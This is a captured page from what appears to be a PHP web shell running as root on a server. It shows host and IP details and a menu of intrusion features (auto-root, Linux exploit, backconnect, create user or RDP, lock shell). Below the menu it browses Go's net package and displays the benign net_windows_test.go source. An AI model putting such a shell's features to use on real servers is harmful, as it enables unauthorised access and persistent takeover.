Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.1
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
local /
go /
src /
net /
[ HOME SHELL ]
Name
Size
Permission
Action
http
[ DIR ]
drwxr-xr-x
internal
[ DIR ]
drwxr-xr-x
mail
[ DIR ]
drwxr-xr-x
rpc
[ DIR ]
drwxr-xr-x
smtp
[ DIR ]
drwxr-xr-x
testdata
[ DIR ]
drwxr-xr-x
textproto
[ DIR ]
drwxr-xr-x
url
[ DIR ]
drwxr-xr-x
addrselect.go
9.51
KB
-rw-r--r--
addrselect_test.go
6.2
KB
-rw-r--r--
cgo_aix.go
578
B
-rw-r--r--
cgo_android.go
268
B
-rw-r--r--
cgo_bsd.go
348
B
-rw-r--r--
cgo_linux.go
635
B
-rw-r--r--
cgo_netbsd.go
272
B
-rw-r--r--
cgo_openbsd.go
272
B
-rw-r--r--
cgo_resnew.go
577
B
-rw-r--r--
cgo_resold.go
571
B
-rw-r--r--
cgo_socknew.go
748
B
-rw-r--r--
cgo_sockold.go
838
B
-rw-r--r--
cgo_solaris.go
339
B
-rw-r--r--
cgo_stub.go
1.06
KB
-rw-r--r--
cgo_unix.go
9.53
KB
-rw-r--r--
cgo_unix_test.go
1.89
KB
-rw-r--r--
cgo_windows.go
398
B
-rw-r--r--
conf.go
8.88
KB
-rw-r--r--
conf_netcgo.go
369
B
-rw-r--r--
conf_test.go
9.59
KB
-rw-r--r--
conn_test.go
1.77
KB
-rw-r--r--
dial.go
22.44
KB
-rw-r--r--
dial_test.go
27
KB
-rw-r--r--
dial_unix_test.go
2.74
KB
-rw-r--r--
dnsclient.go
5.34
KB
-rw-r--r--
dnsclient_test.go
1.54
KB
-rw-r--r--
dnsclient_unix.go
21.86
KB
-rw-r--r--
dnsclient_unix_test.go
45.17
KB
-rw-r--r--
dnsconfig_unix.go
5.47
KB
-rw-r--r--
dnsconfig_unix_test.go
6.73
KB
-rw-r--r--
dnsname_test.go
1.98
KB
-rw-r--r--
error_plan9.go
224
B
-rw-r--r--
error_plan9_test.go
398
B
-rw-r--r--
error_posix.go
583
B
-rw-r--r--
error_posix_test.go
980
B
-rw-r--r--
error_test.go
19.39
KB
-rw-r--r--
error_unix.go
421
B
-rw-r--r--
error_unix_test.go
672
B
-rw-r--r--
error_windows.go
355
B
-rw-r--r--
error_windows_test.go
483
B
-rw-r--r--
example_test.go
3.16
KB
-rw-r--r--
external_test.go
4.07
KB
-rw-r--r--
fd_plan9.go
3.56
KB
-rw-r--r--
fd_unix.go
7.36
KB
-rw-r--r--
fd_windows.go
6.49
KB
-rw-r--r--
file.go
1.69
KB
-rw-r--r--
file_plan9.go
2.68
KB
-rw-r--r--
file_stub.go
485
B
-rw-r--r--
file_test.go
6.53
KB
-rw-r--r--
file_unix.go
2.51
KB
-rw-r--r--
file_windows.go
521
B
-rw-r--r--
hook.go
628
B
-rw-r--r--
hook_plan9.go
283
B
-rw-r--r--
hook_unix.go
734
B
-rw-r--r--
hook_windows.go
875
B
-rw-r--r--
hosts.go
3.1
KB
-rw-r--r--
hosts_test.go
4.65
KB
-rw-r--r--
interface.go
7.14
KB
-rw-r--r--
interface_aix.go
4.41
KB
-rw-r--r--
interface_bsd.go
2.74
KB
-rw-r--r--
interface_bsd_test.go
1.42
KB
-rw-r--r--
interface_bsdvar.go
711
B
-rw-r--r--
interface_darwin.go
1.29
KB
-rw-r--r--
interface_freebsd.go
1.42
KB
-rw-r--r--
interface_linux.go
6.9
KB
-rw-r--r--
interface_linux_test.go
3.65
KB
-rw-r--r--
interface_plan9.go
4.59
KB
-rw-r--r--
interface_solaris.go
2.46
KB
-rw-r--r--
interface_stub.go
808
B
-rw-r--r--
interface_test.go
9.67
KB
-rw-r--r--
interface_unix_test.go
4.69
KB
-rw-r--r--
interface_windows.go
5.41
KB
-rw-r--r--
ip.go
16.61
KB
-rw-r--r--
ip_test.go
23.96
KB
-rw-r--r--
iprawsock.go
7.08
KB
-rw-r--r--
iprawsock_plan9.go
874
B
-rw-r--r--
iprawsock_posix.go
3.45
KB
-rw-r--r--
iprawsock_test.go
5.62
KB
-rw-r--r--
ipsock.go
8.77
KB
-rw-r--r--
ipsock_plan9.go
6.25
KB
-rw-r--r--
ipsock_posix.go
6.16
KB
-rw-r--r--
ipsock_test.go
6.81
KB
-rw-r--r--
listen_test.go
21.32
KB
-rw-r--r--
lookup.go
15.45
KB
-rw-r--r--
lookup_fake.go
1.64
KB
-rw-r--r--
lookup_plan9.go
7.68
KB
-rw-r--r--
lookup_test.go
29.14
KB
-rw-r--r--
lookup_unix.go
8.78
KB
-rw-r--r--
lookup_windows.go
11.74
KB
-rw-r--r--
lookup_windows_test.go
8
KB
-rw-r--r--
mac.go
1.88
KB
-rw-r--r--
mac_test.go
3.26
KB
-rw-r--r--
main_cloexec_test.go
669
B
-rw-r--r--
main_conf_test.go
915
B
-rw-r--r--
main_noconf_test.go
493
B
-rw-r--r--
main_plan9_test.go
392
B
-rw-r--r--
main_posix_test.go
1.37
KB
-rw-r--r--
main_test.go
7.11
KB
-rw-r--r--
main_unix_test.go
1.24
KB
-rw-r--r--
main_windows_test.go
1.08
KB
-rw-r--r--
mockserver_test.go
11.23
KB
-rw-r--r--
net.go
20.9
KB
-rw-r--r--
net_fake.go
5.34
KB
-rw-r--r--
net_test.go
12.1
KB
-rw-r--r--
net_windows_test.go
15.94
KB
-rw-r--r--
netgo_unix_test.go
631
B
-rw-r--r--
nss.go
3.71
KB
-rw-r--r--
nss_test.go
3.33
KB
-rw-r--r--
packetconn_test.go
3.56
KB
-rw-r--r--
parse.go
7.82
KB
-rw-r--r--
parse_test.go
2.14
KB
-rw-r--r--
pipe.go
5.59
KB
-rw-r--r--
pipe_test.go
1.2
KB
-rw-r--r--
platform_test.go
4.59
KB
-rw-r--r--
port.go
1.46
KB
-rw-r--r--
port_test.go
1.34
KB
-rw-r--r--
port_unix.go
1.28
KB
-rw-r--r--
protoconn_test.go
7.22
KB
-rw-r--r--
rawconn.go
1.89
KB
-rw-r--r--
rawconn_stub_test.go
622
B
-rw-r--r--
rawconn_test.go
4.52
KB
-rw-r--r--
rawconn_unix_test.go
3.15
KB
-rw-r--r--
rawconn_windows_test.go
3.26
KB
-rw-r--r--
sendfile_linux.go
1.1
KB
-rw-r--r--
sendfile_stub.go
329
B
-rw-r--r--
sendfile_test.go
5.69
KB
-rw-r--r--
sendfile_unix_alt.go
1.98
KB
-rw-r--r--
sendfile_windows.go
1.02
KB
-rw-r--r--
server_test.go
11.55
KB
-rw-r--r--
sock_bsd.go
898
B
-rw-r--r--
sock_cloexec.go
1.46
KB
-rw-r--r--
sock_linux.go
644
B
-rw-r--r--
sock_plan9.go
262
B
-rw-r--r--
sock_posix.go
6.83
KB
-rw-r--r--
sock_stub.go
378
B
-rw-r--r--
sock_windows.go
1.16
KB
-rw-r--r--
sockaddr_posix.go
955
B
-rw-r--r--
sockopt_aix.go
1.32
KB
-rw-r--r--
sockopt_bsd.go
2.09
KB
-rw-r--r--
sockopt_linux.go
1.14
KB
-rw-r--r--
sockopt_plan9.go
406
B
-rw-r--r--
sockopt_posix.go
2.67
KB
-rw-r--r--
sockopt_solaris.go
1.14
KB
-rw-r--r--
sockopt_stub.go
738
B
-rw-r--r--
sockopt_windows.go
1.34
KB
-rw-r--r--
sockoptip_bsdvar.go
848
B
-rw-r--r--
sockoptip_linux.go
735
B
-rw-r--r--
sockoptip_posix.go
1.43
KB
-rw-r--r--
sockoptip_stub.go
949
B
-rw-r--r--
sockoptip_windows.go
819
B
-rw-r--r--
splice_linux.go
1.09
KB
-rw-r--r--
splice_stub.go
286
B
-rw-r--r--
splice_test.go
10.51
KB
-rw-r--r--
sys_cloexec.go
977
B
-rw-r--r--
tcpsock.go
9.85
KB
-rw-r--r--
tcpsock_plan9.go
2.13
KB
-rw-r--r--
tcpsock_posix.go
5.27
KB
-rw-r--r--
tcpsock_test.go
17.51
KB
-rw-r--r--
tcpsock_unix_test.go
2.38
KB
-rw-r--r--
tcpsockopt_darwin.go
770
B
-rw-r--r--
tcpsockopt_dragonfly.go
698
B
-rw-r--r--
tcpsockopt_openbsd.go
365
B
-rw-r--r--
tcpsockopt_plan9.go
503
B
-rw-r--r--
tcpsockopt_posix.go
491
B
-rw-r--r--
tcpsockopt_solaris.go
1.15
KB
-rw-r--r--
tcpsockopt_stub.go
393
B
-rw-r--r--
tcpsockopt_unix.go
712
B
-rw-r--r--
tcpsockopt_windows.go
741
B
-rw-r--r--
timeout_test.go
23.18
KB
-rw-r--r--
udpsock.go
8.7
KB
-rw-r--r--
udpsock_plan9.go
3.77
KB
-rw-r--r--
udpsock_plan9_test.go
1.31
KB
-rw-r--r--
udpsock_posix.go
4.09
KB
-rw-r--r--
udpsock_test.go
11.18
KB
-rw-r--r--
unixsock.go
10.17
KB
-rw-r--r--
unixsock_linux_test.go
2.29
KB
-rw-r--r--
unixsock_plan9.go
1.24
KB
-rw-r--r--
unixsock_posix.go
5.81
KB
-rw-r--r--
unixsock_test.go
10.58
KB
-rw-r--r--
unixsock_windows_test.go
2.07
KB
-rw-r--r--
write_unix_test.go
1.59
KB
-rw-r--r--
writev_test.go
5.01
KB
-rw-r--r--
writev_unix.go
706
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : net_windows_test.go
// Copyright 2014 The Go Authors. All rights reserved. // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. package net import ( "bufio" "bytes" "fmt" "io" "io/ioutil" "os" "os/exec" "regexp" "sort" "strings" "syscall" "testing" "time" ) func toErrno(err error) (syscall.Errno, bool) { operr, ok := err.(*OpError) if !ok { return 0, false } syserr, ok := operr.Err.(*os.SyscallError) if !ok { return 0, false } errno, ok := syserr.Err.(syscall.Errno) if !ok { return 0, false } return errno, true } // TestAcceptIgnoreSomeErrors tests that windows TCPListener.AcceptTCP // handles broken connections. It verifies that broken connections do // not affect future connections. func TestAcceptIgnoreSomeErrors(t *testing.T) { recv := func(ln Listener, ignoreSomeReadErrors bool) (string, error) { c, err := ln.Accept() if err != nil { // Display windows errno in error message. errno, ok := toErrno(err) if !ok { return "", err } return "", fmt.Errorf("%v (windows errno=%d)", err, errno) } defer c.Close() b := make([]byte, 100) n, err := c.Read(b) if err == nil || err == io.EOF { return string(b[:n]), nil } errno, ok := toErrno(err) if ok && ignoreSomeReadErrors && (errno == syscall.ERROR_NETNAME_DELETED || errno == syscall.WSAECONNRESET) { return "", nil } return "", err } send := func(addr string, data string) error { c, err := Dial("tcp", addr) if err != nil { return err } defer c.Close() b := []byte(data) n, err := c.Write(b) if err != nil { return err } if n != len(b) { return fmt.Errorf(`Only %d chars of string "%s" sent`, n, data) } return nil } if envaddr := os.Getenv("GOTEST_DIAL_ADDR"); envaddr != "" { // In child process. c, err := Dial("tcp", envaddr) if err != nil { t.Fatal(err) } fmt.Printf("sleeping\n") time.Sleep(time.Minute) // process will be killed here c.Close() } ln, err := Listen("tcp", "127.0.0.1:0") if err != nil { t.Fatal(err) } defer ln.Close() // Start child process that connects to our listener. cmd := exec.Command(os.Args[0], "-test.run=TestAcceptIgnoreSomeErrors") cmd.Env = append(os.Environ(), "GOTEST_DIAL_ADDR="+ln.Addr().String()) stdout, err := cmd.StdoutPipe() if err != nil { t.Fatalf("cmd.StdoutPipe failed: %v", err) } err = cmd.Start() if err != nil { t.Fatalf("cmd.Start failed: %v\n", err) } outReader := bufio.NewReader(stdout) for { s, err := outReader.ReadString('\n') if err != nil { t.Fatalf("reading stdout failed: %v", err) } if s == "sleeping\n" { break } } defer cmd.Wait() // ignore error - we know it is getting killed const alittle = 100 * time.Millisecond time.Sleep(alittle) cmd.Process.Kill() // the only way to trigger the errors time.Sleep(alittle) // Send second connection data (with delay in a separate goroutine). result := make(chan error) go func() { time.Sleep(alittle) err := send(ln.Addr().String(), "abc") if err != nil { result <- err } result <- nil }() defer func() { err := <-result if err != nil { t.Fatalf("send failed: %v", err) } }() // Receive first or second connection. s, err := recv(ln, true) if err != nil { t.Fatalf("recv failed: %v", err) } switch s { case "": // First connection data is received, let's get second connection data. case "abc": // First connection is lost forever, but that is ok. return default: t.Fatalf(`"%s" received from recv, but "" or "abc" expected`, s) } // Get second connection data. s, err = recv(ln, false) if err != nil { t.Fatalf("recv failed: %v", err) } if s != "abc" { t.Fatalf(`"%s" received from recv, but "abc" expected`, s) } } func runCmd(args ...string) ([]byte, error) { removeUTF8BOM := func(b []byte) []byte { if len(b) >= 3 && b[0] == 0xEF && b[1] == 0xBB && b[2] == 0xBF { return b[3:] } return b } f, err := ioutil.TempFile("", "netcmd") if err != nil { return nil, err } f.Close() defer os.Remove(f.Name()) cmd := fmt.Sprintf(`%s | Out-File "%s" -encoding UTF8`, strings.Join(args, " "), f.Name()) out, err := exec.Command("powershell", "-Command", cmd).CombinedOutput() if err != nil { if len(out) != 0 { return nil, fmt.Errorf("%s failed: %v: %q", args[0], err, string(removeUTF8BOM(out))) } var err2 error out, err2 = ioutil.ReadFile(f.Name()) if err2 != nil { return nil, err2 } if len(out) != 0 { return nil, fmt.Errorf("%s failed: %v: %q", args[0], err, string(removeUTF8BOM(out))) } return nil, fmt.Errorf("%s failed: %v", args[0], err) } out, err = ioutil.ReadFile(f.Name()) if err != nil { return nil, err } return removeUTF8BOM(out), nil } func netshSpeaksEnglish(t *testing.T) bool { out, err := runCmd("netsh", "help") if err != nil { t.Fatal(err) } return bytes.Contains(out, []byte("The following commands are available:")) } func netshInterfaceIPShowInterface(ipver string, ifaces map[string]bool) error { out, err := runCmd("netsh", "interface", ipver, "show", "interface", "level=verbose") if err != nil { return err } // interface information is listed like: // //Interface Local Area Connection Parameters //---------------------------------------------- //IfLuid : ethernet_6 //IfIndex : 11 //State : connected //Metric : 10 //... var name string lines := bytes.Split(out, []byte{'\r', '\n'}) for _, line := range lines { if bytes.HasPrefix(line, []byte("Interface ")) && bytes.HasSuffix(line, []byte(" Parameters")) { f := line[len("Interface "):] f = f[:len(f)-len(" Parameters")] name = string(f) continue } var isup bool switch string(line) { case "State : connected": isup = true case "State : disconnected": isup = false default: continue } if name != "" { if v, ok := ifaces[name]; ok && v != isup { return fmt.Errorf("%s:%s isup=%v: ipv4 and ipv6 report different interface state", ipver, name, isup) } ifaces[name] = isup name = "" } } return nil } func TestInterfacesWithNetsh(t *testing.T) { if !netshSpeaksEnglish(t) { t.Skip("English version of netsh required for this test") } toString := func(name string, isup bool) string { if isup { return name + ":up" } return name + ":down" } ift, err := Interfaces() if err != nil { t.Fatal(err) } have := make([]string, 0) for _, ifi := range ift { have = append(have, toString(ifi.Name, ifi.Flags&FlagUp != 0)) } sort.Strings(have) ifaces := make(map[string]bool) err = netshInterfaceIPShowInterface("ipv6", ifaces) if err != nil { t.Fatal(err) } err = netshInterfaceIPShowInterface("ipv4", ifaces) if err != nil { t.Fatal(err) } want := make([]string, 0) for name, isup := range ifaces { want = append(want, toString(name, isup)) } sort.Strings(want) if strings.Join(want, "/") != strings.Join(have, "/") { t.Fatalf("unexpected interface list %q, want %q", have, want) } } func netshInterfaceIPv4ShowAddress(name string, netshOutput []byte) []string { // Address information is listed like: // //Configuration for interface "Local Area Connection" // DHCP enabled: Yes // IP Address: 10.0.0.2 // Subnet Prefix: 10.0.0.0/24 (mask 255.255.255.0) // IP Address: 10.0.0.3 // Subnet Prefix: 10.0.0.0/24 (mask 255.255.255.0) // Default Gateway: 10.0.0.254 // Gateway Metric: 0 // InterfaceMetric: 10 // //Configuration for interface "Loopback Pseudo-Interface 1" // DHCP enabled: No // IP Address: 127.0.0.1 // Subnet Prefix: 127.0.0.0/8 (mask 255.0.0.0) // InterfaceMetric: 50 // addrs := make([]string, 0) var addr, subnetprefix string var processingOurInterface bool lines := bytes.Split(netshOutput, []byte{'\r', '\n'}) for _, line := range lines { if !processingOurInterface { if !bytes.HasPrefix(line, []byte("Configuration for interface")) { continue } if !bytes.Contains(line, []byte(`"`+name+`"`)) { continue } processingOurInterface = true continue } if len(line) == 0 { break } if bytes.Contains(line, []byte("Subnet Prefix:")) { f := bytes.Split(line, []byte{':'}) if len(f) == 2 { f = bytes.Split(f[1], []byte{'('}) if len(f) == 2 { f = bytes.Split(f[0], []byte{'/'}) if len(f) == 2 { subnetprefix = string(bytes.TrimSpace(f[1])) if addr != "" && subnetprefix != "" { addrs = append(addrs, addr+"/"+subnetprefix) } } } } } addr = "" if bytes.Contains(line, []byte("IP Address:")) { f := bytes.Split(line, []byte{':'}) if len(f) == 2 { addr = string(bytes.TrimSpace(f[1])) } } } return addrs } func netshInterfaceIPv6ShowAddress(name string, netshOutput []byte) []string { // Address information is listed like: // //Address ::1 Parameters //--------------------------------------------------------- //Interface Luid : Loopback Pseudo-Interface 1 //Scope Id : 0.0 //Valid Lifetime : infinite //Preferred Lifetime : infinite //DAD State : Preferred //Address Type : Other //Skip as Source : false // //Address XXXX::XXXX:XXXX:XXXX:XXXX%11 Parameters //--------------------------------------------------------- //Interface Luid : Local Area Connection //Scope Id : 0.11 //Valid Lifetime : infinite //Preferred Lifetime : infinite //DAD State : Preferred //Address Type : Other //Skip as Source : false // // TODO: need to test ipv6 netmask too, but netsh does not outputs it var addr string addrs := make([]string, 0) lines := bytes.Split(netshOutput, []byte{'\r', '\n'}) for _, line := range lines { if addr != "" { if len(line) == 0 { addr = "" continue } if string(line) != "Interface Luid : "+name { continue } addrs = append(addrs, addr) addr = "" continue } if !bytes.HasPrefix(line, []byte("Address")) { continue } if !bytes.HasSuffix(line, []byte("Parameters")) { continue } f := bytes.Split(line, []byte{' '}) if len(f) != 3 { continue } // remove scope ID if present f = bytes.Split(f[1], []byte{'%'}) // netsh can create IPv4-embedded IPv6 addresses, like fe80::5efe:192.168.140.1. // Convert these to all hexadecimal fe80::5efe:c0a8:8c01 for later string comparisons. ipv4Tail := regexp.MustCompile(`:\d+\.\d+\.\d+\.\d+$`) if ipv4Tail.Match(f[0]) { f[0] = []byte(ParseIP(string(f[0])).String()) } addr = string(bytes.ToLower(bytes.TrimSpace(f[0]))) } return addrs } func TestInterfaceAddrsWithNetsh(t *testing.T) { if !netshSpeaksEnglish(t) { t.Skip("English version of netsh required for this test") } outIPV4, err := runCmd("netsh", "interface", "ipv4", "show", "address") if err != nil { t.Fatal(err) } outIPV6, err := runCmd("netsh", "interface", "ipv6", "show", "address", "level=verbose") if err != nil { t.Fatal(err) } ift, err := Interfaces() if err != nil { t.Fatal(err) } for _, ifi := range ift { // Skip the interface if it's down. if (ifi.Flags & FlagUp) == 0 { continue } have := make([]string, 0) addrs, err := ifi.Addrs() if err != nil { t.Fatal(err) } for _, addr := range addrs { switch addr := addr.(type) { case *IPNet: if addr.IP.To4() != nil { have = append(have, addr.String()) } if addr.IP.To16() != nil && addr.IP.To4() == nil { // netsh does not output netmask for ipv6, so ignore ipv6 mask have = append(have, addr.IP.String()) } case *IPAddr: if addr.IP.To4() != nil { have = append(have, addr.String()) } if addr.IP.To16() != nil && addr.IP.To4() == nil { // netsh does not output netmask for ipv6, so ignore ipv6 mask have = append(have, addr.IP.String()) } } } sort.Strings(have) want := netshInterfaceIPv4ShowAddress(ifi.Name, outIPV4) wantIPv6 := netshInterfaceIPv6ShowAddress(ifi.Name, outIPV6) want = append(want, wantIPv6...) sort.Strings(want) if strings.Join(want, "/") != strings.Join(have, "/") { t.Errorf("%s: unexpected addresses list %q, want %q", ifi.Name, have, want) } } } // check that getmac exists as a powershell command, and that it // speaks English. func checkGetmac(t *testing.T) { out, err := runCmd("getmac", "/?") if err != nil { if strings.Contains(err.Error(), "term 'getmac' is not recognized as the name of a cmdlet") { t.Skipf("getmac not available") } t.Fatal(err) } if !bytes.Contains(out, []byte("network adapters on a system")) { t.Skipf("skipping test on non-English system") } } func TestInterfaceHardwareAddrWithGetmac(t *testing.T) { checkGetmac(t) ift, err := Interfaces() if err != nil { t.Fatal(err) } have := make(map[string]string) for _, ifi := range ift { if ifi.Flags&FlagLoopback != 0 { // no MAC address for loopback interfaces continue } have[ifi.Name] = ifi.HardwareAddr.String() } out, err := runCmd("getmac", "/fo", "list", "/v") if err != nil { t.Fatal(err) } // getmac output looks like: // //Connection Name: Local Area Connection //Network Adapter: Intel Gigabit Network Connection //Physical Address: XX-XX-XX-XX-XX-XX //Transport Name: \Device\Tcpip_{XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX} // //Connection Name: Wireless Network Connection //Network Adapter: Wireles WLAN Card //Physical Address: XX-XX-XX-XX-XX-XX //Transport Name: Media disconnected // //Connection Name: Bluetooth Network Connection //Network Adapter: Bluetooth Device (Personal Area Network) //Physical Address: N/A //Transport Name: Hardware not present // //Connection Name: VMware Network Adapter VMnet8 //Network Adapter: VMware Virtual Ethernet Adapter for VMnet8 //Physical Address: Disabled //Transport Name: Disconnected // want := make(map[string]string) group := make(map[string]string) // name / values for single adapter getValue := func(name string) string { value, found := group[name] if !found { t.Fatalf("%q has no %q line in it", group, name) } if value == "" { t.Fatalf("%q has empty %q value", group, name) } return value } processGroup := func() { if len(group) == 0 { return } tname := strings.ToLower(getValue("Transport Name")) if tname == "n/a" { // skip these return } addr := strings.ToLower(getValue("Physical Address")) if addr == "disabled" || addr == "n/a" { // skip these return } addr = strings.ReplaceAll(addr, "-", ":") cname := getValue("Connection Name") want[cname] = addr group = make(map[string]string) } lines := bytes.Split(out, []byte{'\r', '\n'}) for _, line := range lines { if len(line) == 0 { processGroup() continue } i := bytes.IndexByte(line, ':') if i == -1 { t.Fatalf("line %q has no : in it", line) } group[string(line[:i])] = string(bytes.TrimSpace(line[i+1:])) } processGroup() dups := make(map[string][]string) for name, addr := range want { if _, ok := dups[addr]; !ok { dups[addr] = make([]string, 0) } dups[addr] = append(dups[addr], name) } nextWant: for name, wantAddr := range want { if haveAddr, ok := have[name]; ok { if haveAddr != wantAddr { t.Errorf("unexpected MAC address for %q - %v, want %v", name, haveAddr, wantAddr) } continue } // We could not find the interface in getmac output by name. // But sometimes getmac lists many interface names // for the same MAC address. If that is the case here, // and we can match at least one of those names, // let's ignore the other names. if dupNames, ok := dups[wantAddr]; ok && len(dupNames) > 1 { for _, dupName := range dupNames { if haveAddr, ok := have[dupName]; ok && haveAddr == wantAddr { continue nextWant } } } t.Errorf("getmac lists %q, but it could not be found among Go interfaces %v", name, have) } }
Close